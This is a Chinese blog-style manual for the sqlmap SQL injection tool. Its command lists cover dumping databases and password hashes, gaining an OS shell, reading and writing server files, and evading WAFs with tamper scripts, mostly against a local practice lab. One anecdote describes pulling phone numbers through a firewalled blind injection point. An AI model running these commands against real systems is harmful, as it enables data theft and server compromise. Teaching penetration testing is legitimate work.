SQLMAP使用手册

SQLMAP入门及简单用法

常用命令总结

sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1"   #判断url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1"   #识别指纹信息
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --batch   #对所有的交互式的选择都是默认最优先优化的选项(一把嗦就完事儿了)
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --batch -v2 #显示输出信息级别

输出信息按从简到繁共分为7个级别,使用参数“-v <级别>”来指定某个等级,如使用参数“-v 6”来指定输出级别为6。默认输出级别为1。各个输出级别的描述如下:

0:只显示Python的tracebacks信息、错误信息[ERROR]和关键信息[CRITICAL];
1:同时显示普通信息[INFO]和警告信息[WARNING];
2:同时显示调试信息[DEBUG];
3:同时显示注入使用的攻击荷载;
4:同时显示HTTP请求;
5:同时显示HTTP响应头;
6:同时显示HTTP响应体。
sqlmap -r rizhi.txt  #“rizhi.txt”为抓取的http的请求包
sqlmap -r rizhi.txt -p username  #指定参数,当某一个活或多个参数存在SQL注入漏洞时,通过-p指定参数进行注入
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"   #当该网站需要登录时,通过cookie访问,判断该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1"  --data="name=value"  #抓取post提交的数据以“name=value”的形式填入进行注入探测
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --users      #查看数据库的所有用户
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --passwords  #查看数据库用户名的密码
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1"    --current-db #查看当前的数据库
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --roles     #列出数据库所有管理员角色,该命令仅适用于当前数据库是Oracle时
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1"    --dbs        #爆出所有的数据库
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1"    --tables     #爆出所有的数据表
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1"    --columns    #爆出数据库中所有的列
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema --tables #爆出数据库information_schema中的所有的表
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema -T users --columns #爆出information_schema数据库中users表中的所有的列
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema -T users -C username --dump  #爆出数据库information_schema中的users表中的username列中的所有数据并下载

sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema -T users --dump-all #爆出数据库information_schema中的users表中的所有数据并下载
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema --dump-all   #爆出数据库information_schema中的所有数据并下载
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据
这里需要注意的是,当不进行表与字段的爆破时直接进行下载,在数据量很大的情况下会很慢
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --identify-waf   检测是否有WAF
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1"  --tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格
关于探测URL是否存在WAF,并且如何绕过的方法会在下文的SQLMAP高级用法中进行详解
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。
level的等级(1-5,默认为1)
level 1:对GET和POST的数据进行测试 
level 2:会对HTTP cookie进行测试 
level 3:会对HTTP User-Agent/Referer头进行测试 
level4-5:测试的更加全面,同时测试的速度会更慢

risk风险等级(1-4,默认1)升高风险等级会增加数据被篡改的风险。
risk 1:此等级在大多数情况下对测试目标无害
risk 2:基于事件的测试
risk 3:or语句的测试
risk 4:update的测试
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句
这里需要注意的是在不知道对应的数据库的执行语句的时候尽量少使用

sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --dbms="MySQL"     #指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase
dbms是“Database Management System”的缩写。默认情况下SQLMAP会自动检测网站使用的数据库管理系统,如果SQLMAP自动检测失败或是不想让SQLMAP进行数据库指纹检测,可以使用参数“--dbms”手动指定数据库管理系统,如:“--dbms postgresql”。

对于Mysql和Microsoft SQL Server和要这样指定:
  --dbms MySQL <version>
  --dbms Microsoft SQL Server <version>
对于MySQL来说,是类似这样的:5.0。对于Microsoft SQL Server来说,是类似这样的:2005。
如果在添加“--dbms”参数的同时还添加了“--fingerprint”,SQLMAP只会在指定的数据库管理系统内进行指纹识别。
只有在很确定时使用“--dbms”,否则还是让SQLMAP自动检测更好些。

sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --os-shell/--os-cmd   #执行--os-shell命令,获取目标服务器权限
默认情况下SQLMAP会自动检测运行数据库管理系统的操作系统,目前完全支持的操作系统有:Linux、Windows
如果很确定可以使用参数“--os”指定运行数据库管理系统的操作系统。当然在只用很确定时才应该使用此参数,否则还是让SQLMAP自动检测更好些。
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --file-read "usr/desktop/test.txt" #读取目标服务器usr/desktop/下的test.txt文件
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --file-write  test.txt  --file-dest "usr/desktop/hack.txt"  #将本地的test.txt文件上传到目标服务器的usr/desktop/下,并且名字为hack.txt
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --proxy="127.0.0.1:8080"    #指定代理
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --technique T    #指定时间延迟注入,这个参数可以指定SQLMAP使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" -v 3   #输出详细攻击载荷  
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --threads 5#指定线程数
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --fresh-queries #清除缓存
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --flush-session   #刷新session  
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --random-agent    #任意的http头
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --tamper base64encode            #对提交的数据进行base64编码
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --referer http://www.baidu.com   #伪造referer字段
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数

sqlmap -u http://127.0.0.1/Less-2/ --batch --crawl=2 --delay 2 -v 2

判断URL是否存在注入点

针对不需要登陆的URL进行SQL注入探测

直接指定URL

sqlmap -u http://127.0.0.1/Less-1/?id=1 --batch --level 3 -v 3
--batch:针对需要交互选择的选项都是默认最优先优化的选项
--level 3:探测等级为3的测试
-v 3:输出信息等级3,同时显示注入使用的攻击荷载

在这里插入图片描述

执行成功完毕之后会得到相关服务器指纹信息与信息输出文件路径

在这里插入图片描述

附:当针对同一探测URL执行二次或者多次的探测时,会自动读取信息文件路径下的文件,删除后才会重新进行探测。

对于需要登录的网站

我们可以用账号密码登录,我们需要指定其cookie,然后用抓包工具抓取其cookie填入。

sqlmap -u  "http://127.0.0.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"  #探测该url是否存在漏洞
通过抓取 http 数据包进行探测

我们也可以通过抓取 http 数据包保存为文件,然后指定该文件即可。这样,我们就可以不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便。

我们抓取了一个post提交数据的数据包保存为post.txt,如下,uname参数和passwd参数存在SQL注入漏洞。

sqlmap -r post.txt        #探测post.txt文件中的http数据包是否存在sql注入漏洞

在这里插入图片描述

查看数据库的所有用户
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户

查看数据库所有用户名的密码
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码

第一处询问我们是否保存密码的hash值为文件,我们不保存。第二处问我们是否使用SQLMAP自带的字典进行爆破,我们选择y,可以看出把密码爆破出来了,root用户的密码也为root。如果这里爆破不出来,我们可以拿hash值去字典更强大的地方爆破

查看数据库当前用户
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户

在这里插入图片描述

判断当前用户是否有管理权限
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --is-dba  #判断当前用户是否有管理员权限

列出数据库管理员角色

该命令仅适用于当前数据库是Oracle时

sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --roles   #列出数据库所有管理员角色,该命令仅适用于当前数据库是Oracle时
爆出所有的数据库
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs 

爆出当前的数据库
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库

在这里插入图片描述

爆出指定数据库中的所有的表
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表

爆出指定数据库指定表中的所有的列
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns

爆出指定数据库指定表指定列下的数据
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users -C username  #爆出数据库security中的users表中的username列中的所有数据

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4KUKOdbD-1609118295135)(media/16077570823796/16077913251491.jpg)]

SQLMAP的高级用法

SQLMAP在默认情况下除了适用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以使用–tamper参数对数据进行修改来绕过WAF等设备,其中的大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。SQLMAP目前官方提供53个绕过脚本。

探测URL是否存在WAF,并且绕过

--identify-waf   检测是否有WAF

一般使用参数进行绕过

--skip-waf         跳过WAF/IPS / IDS启发式检测保护
--random-agent    使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3      使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp             使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985      使用代理进行绕过
--ignore-proxy    禁止使用系统的代理,直接连接进行注入
--flush-session   清空会话,重构注入
--hex 或者 --no-cast     进行字符码转换
--mobile          有时服务端只接收移动端的访问,可以设定一个手机的User-Agent来模仿手机登陆
--tor             匿名注入

指定脚本绕过

SQLMAP绕WAF的脚本存放在 /usr/share/sqlmap/tamper/ 路径下

有些时候网站会过滤掉各种字符,可以用tamper来解决(对付某些waf时也有成效)
sqlmap --tamper=space2comment.py #用/**/代替空格
sqlmap --tamper=“space2comment.py,space2plus.py” 指定多个脚本进行过滤

tamper目录下各个脚本的含义:

SQLMAP-Tamper详解及使用指南

一个一个来试太累太费劲,而且对有些小白来讲很难记住每个tamper脚本具体是做什么用的?干脆直接写了一个sh命令,可以在kali下直接依次使用每个tamper脚本,从而找到合适的。
该shell语句是:

for t in `ls /usr/share/sqlmap/tamper/*.py`; do echo -e "e[41;1m tamper: $te[0m"; sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --random-agent --smart --batch --tamper $t --threads 10;done;

shell语句简单说明:

--random-agent参数随机;random-agent 随机agent头 ;
--smart 智能快速判断的方式;
--batch 默认选择接收输入;
echo -e "e[41;1m tamper: $te[0m"; 是为了红底白字显示当前使用的tamper脚本。

SQLMAP性能优化

Sqlmap 设置持久 HTTP 连接

sqlmap 中可以设置连接为持久连接,也就是长连接,连接一次就不需要多次发送连接请求。HTTP 报文中设置connection:keep-alive 。
注意: --keep-alive 不能与 --proxy 一起使用,会发送冲突。

sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --keep-alive  -v 5

Sqlmap 设置不接收 HTTP Body

sqlmap 中设置空连接,表示不接受 HTTP 当中的 Body,使用参数 --null-connection。 可以直接获得 HTTP 响应的大小而不用获得 HTTP 响应体,可以节省网络宽带的消耗,常用在盲注过程中。

SQLMAP 一键优化

添加 -o 参数相当于同时添加下列三个优化参数

--keep-alive
--null-connection
--threads=3
sqlmap.py "http://127.0.0.1/sqli/Less-1/?id=1" -o  -v 3

**sqlmap中设置忽略 401 **

--ignore-401

如果测试偶尔返回 HTTP 错误 401 的站点,而你想忽略它并在不提供适当凭证的情况下继续测试,可以 使用 --ignore-401 参数用来忽略未验证错误。

杂项

--crawl 

SQLMAP可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。
可以从目标URL开始爬取目标站点并收集可能存在漏洞的URL。使用该参数还需要设置爬取深度,深度是相对于开始爬取的目标URL而言的。只有所有新链接都被递归地访问过后才算爬取结束。建议该参数与“–delay 2”配合使用。如:

--delay 2 :等待2
$ python sqlmap -u "http://127.0.0.1/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]

参数: --forms

除了用“-r”和“–data”来测试表单数据是否存在注入点外,还可以使用参数“–forms”来测试表单数据是否存在注入点。

同时使用参数“–forms”和“-u”,SQLMAP会解析目标URL(“-u”指定的那个URL)返回页面中的表单,测试表单是否有注入点,而不对目标URL进行注入测试。

参数: --cleanup

强烈推荐在测试结束后使用此参数清除SQLMAP创建的临时表和自定义函数,SQLMAP会尽可能地清除数据库管理系统和文件系统上的入侵痕迹。

参数: --purge-output

当用户想要安全地删除输出目录中的所有内容时使用此参数。所谓安全删除,不仅仅是删除,而是在删除前先用随机数据覆盖原有数据,甚至对文件名和目录名也进行重命名以覆盖旧名称,所有覆盖工作完成后才执行删除。最后,输出目录中会一无所有。如:

sqlmap --purge-output -v 3

参数: --alert

该参数用于在找到新的注入点时发出警报,后跟一个用于发出警报的命令,如:

sqlmap -r data.txt --alert "notify-send '找到漏洞了'"

上例中用于发出警报的命令是Ubuntu中的notify-send命令。

参数: --beep

使用此参数可以在成功检测到注入点时发出“嘟”声。使用“-m”从日志文件中检测大量网站时该参数会格外有用。

参数: --dependencies

SQLMAP的有些功能依赖第三方库,在用到时发现没有这些库会报错退出。使用此参数可以检查依赖的第三方库是否安装,如:

sqlmap --dependencies

部分输出如下:

  [*] starting at 19:16:05

  [19:16:05] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in order to directly connect to the DBMS 'Firebird'. Download from http://kinterbasdb.sourceforge.net/
  [19:16:05] [WARNING] sqlmap requires 'python-pymssql' third-party library in order to directly connect to the DBMS 'Sybase'. Download from https://github.com/pymssql/pymssql
  [19:16:05] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in order to directly connect to the DBMS 'Oracle'. Download from http://cx-oracle.sourceforge.net/
  [19:16:05] [WARNING] sqlmap requires 'python-psycopg2' third-party library in order to directly connect to the DBMS 'PostgreSQL'. Download from http://initd.org/psycopg/
  [19:16:05] [WARNING] sqlmap requires 'python ibm-db' third-party library in order to directly connect to the DBMS 'IBM DB2'. Download from https://github.com/ibmdb/python-ibmdb
  [19:16:05] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-party library in order to directly connect to the DBMS 'HSQLDB'. Download from https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
  [19:16:05] [WARNING] sqlmap requires 'python ibm-db' third-party library in order to directly connect to the DBMS 'Informix'. Download from https://github.com/ibmdb/python-ibmdb
  [19:16:05] [WARNING] sqlmap requires 'python-pyodbc' third-party library in order to directly connect to the DBMS 'Microsoft Access'. Download from https://github.com/mkleehammer/pyodbc
  [19:16:05] [WARNING] sqlmap requires 'python-pymssql' third-party library in order to directly connect to the DBMS 'Microsoft SQL Server'. Download from https://github.com/pymssql/pymssql
  [19:16:05] [WARNING] sqlmap requires 'python-impacket' third-party library for out-of-band takeover feature. Download from http://code.google.com/p/impacket/
  [19:16:05] [WARNING] sqlmap requires 'python-ntlm' third-party library if you plan to attack a web application behind NTLM authentication. Download from http://code.google.com/p/python-ntlm/
  [19:16:05] [WARNING] sqlmap requires 'websocket-client' third-party library if you plan to attack a web application using WebSocket. Download from https://pypi.python.org/pypi/websocket-client/

  [*] shutting down at 19:16:05
  可以看我缺少的主要是用于连接数据库的第三方库。

参数: --smart 启发式判断注入

当有大量URL要进行测试(如:“-m”),目的是尽快找出其中存在的某些注入点而有所遗漏也没有关系时可以使用“–smart”进行正向启发式扫描。此时只有让数据库管理系统报错的参数才会做进一步测试,其余URL均被跳过。

参数: --output-dir

SQLMAP默认将会话文件和结果文件保存到某个子目录output中,可以使用此参数指定输出目录,如:“–output-dir=/tmp”。

参数: --csv-del

当数据被输出到CSV文件(–dump-format=CSV)时,默认以“,”分隔,可以使用此参数指定分隔符。如:“–csv-del=”;””。

参数: --dump-format

SQLMAP对列举的数据有三种不同的输出格式:CSV、HTML和SQLITE。默认为CSV格式,每个数据表都被保存到一个文本文件中,一行是一条记录,以逗号分隔(或是用“–csv-del”指定分隔符)。选择HTML格式,所有数据被保存在一个HTML文件中,数据存放在一个个table中。选择SQLITE格式,所有数据被保存在一个SQLITE文件中,SQLITE中表名和结构会和原表相同。

参数: --eta

可以计算注入数据的剩余时间,例如Oracle的布尔型盲注:

$ python sqlmap.py -u "http://127.0.0.1/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                          ] 11/64  ETA 00:19

然后:

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

参数: --identify-waf

SQLMAP可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。
例如对一个受到ModSecurity WAF保护的MySQL例子:

$sqlmap -u "http://127.0.0.1/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper')
[...]

增加线程数

最近遇到个盲注点,有个360防火墙,绕了半天只能用 rlike 脱裤,奈何速度巨慢,五分钟一个数字,没法忍.

经过各种折腾,最终打到1秒两三个手机号的效果,记录下折腾的问题,也希望能帮助到同样遇到问题的童鞋.

第一步(提升SQLMAP 线程数):

\lib\core\settings.py 

找到 sqlmap 的这个文件,搜索 MAX_NUMBER_OF_THREADS 将 10 改成 9999

MAX_NUMBER_OF_THREADS = 9999

第二步(命令提升线程数):

--threads 200    (改多少自己决定,建议别太高)

如果还是觉得速度巨慢,那么在排查自己电脑网络,首先需要知道自己网速到底快不快,访问目标刷新速度快不快,如果快的话,那就是网络问题,我之前就是被这个地方坑惨了,纸飞机 Shadowsocks 新版本的会默认自动修改 win10 的系统代理选项:

在这里插入图片描述

因为勾选了这个,导致我全程走了代理,速度超级超级慢,巨坑爹,去掉勾选,瞬间速度提升一大截.
最后,如果三步完成还是不行,那么就是目标的问题,或者注入点的问题了,建议找个py 的盲注脚本跑把.

  • 3
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: SQLMap是一款开源的自动化测试工具,用于测试和利用Web应用程序中可能存在的SQL注入漏洞。本文主要介绍了SQLMap使用手册。 首先,安装SQLMap。我们可以从官方网站下载最新版本的SQLMap,并将其解压到我们希望存放的位置。然后,我们需要确保我们的系统上已经安装了Python,以便能够运行SQLMap。 接下来,我们需要了解SQLMap的基本命令和选项。SQLMap支持多种命令和选项,可以根据我们的需要进行配置。我们可以使用“-h”选项来查看SQLMap的帮助信息,了解每个选项的作用和用法。 在使用SQLMap之前,我们需要先进行目标选择。我们可以使用“-u”选项指定目标URL,并选择相应的数据库和表进行测试。我们还可以使用其他选项,如“-r”用于指定请求文件,或者“-g”用于指定Google搜索语句。 然后,我们可以使用“-p”选项指定要测试的参数,并使用“-D”和“-T”选项指定要测试的数据库和表。然后,我们可以使用其他选项,如“--columns”用于获取表的列名,或者“--dump”用于获取表的数据。 在进行SQL注入测试时,我们需要注意保护隐私和遵守法律。我们应该获得合法授权,并只在授权范围内进行测试。我们还应该注意测试中可能引发的安全问题,并及时向相关人员报告。 总的来说,SQLMap是一款功能强大的自动化测试工具,可以帮助我们快速发现和利用Web应用程序中可能存在的SQL注入漏洞。使用SQLMap时,我们需要了解其基本命令和选项,并确保遵守相关法律和规定。希望本文的使用手册能帮助大家更好地使用SQLMap。 ### 回答2: sqlmap是一款流行的用于检测和利用SQL注入漏洞的开源工具。它可以用来自动化地发现和利用Web应用程序中的SQL注入漏洞。在这个PDF文档中,我将向您介绍如何使用sqlmap来进行SQL注入攻击测试。 首先,我们需要确保已经安装了sqlmap。您可以从官方网站上下载最新版本的sqlmap,并根据安装说明进行安装。 在文档中,您将会学到如何使用sqlmap进行基本的SQL注入测试。首先,您需要获得一个目标网站的URL,并确认它存在SQL注入漏洞的迹象。接下来,您将使用sqlmap的命令行参数来指定目标URL和其他必要的选项。然后,sqlmap将会自动对目标网站进行扫描,并报告任何发现的SQL注入漏洞。 一旦sqlmap发现了SQL注入漏洞,您可以使用它来获取数据库的信息,执行任意SQL语句,甚至获取敏感信息。在使用sqlmap进行攻击之前,请确保您已经获得了合法的授权,并且尊重法律和道德规范。 该PDF文档还包括了有关sqlmap的高级用法和技巧的介绍。您将学习如何使用代理服务器来隐藏自己的身份,如何使用多线程和延迟来优化扫描速度,以及如何绕过常见的WAF(Web应用防火墙)和IDS(入侵检测系统)等等。 总的来说,这个PDF文档将为您提供一个全面的sqlmap使用指南。通过学习这个手册,您将能够使用sqlmap快速、准确地发现和利用Web应用程序中的SQL注入漏洞。希望这个文档对您有所帮助,祝您使用sqlmap进行安全测试工作顺利。 ### 回答3: sqlmap是一款用于自动化SQL注入的工具,可以帮助渗透测试人员评估和保护Web应用程序的安全性。它具有强大的功能和易于使用的界面,能够自动发现和利用Web应用程序中的SQL注入漏洞。 pdf:sqlmap使用手册是针对sqlmap工具的一份详细说明书,提供了关于sqlmap使用的详细指南和示例。它包含了sqlmap的安装、配置和使用方法,以及各种高级功能和选项的说明。 使用pdf:sqlmap使用手册可以帮助用户快速掌握sqlmap的基本操作和功能。手册中包括了从简单的注入检测到复杂的注入利用的步骤,以及如何配置和调整sqlmap的选项以满足不同的需求。 手册中还介绍了sqlmap的一些高级功能,如指纹识别、提权、文件读取和写入等。这些功能可以帮助用户更加深入地评估Web应用程序的安全性,发现更多的漏洞。 总之,pdf:sqlmap使用手册是一份非常有价值的资料,它提供了sqlmap工具的详尽说明和示例,帮助用户更好地了解和使用sqlmap。无论是初学者还是有经验的渗透测试人员,都可以通过该手册提高他们的技能和知识,有效地评估和保护Web应用程序的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

哈哥撩编程

多点...少点...多少给点?

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值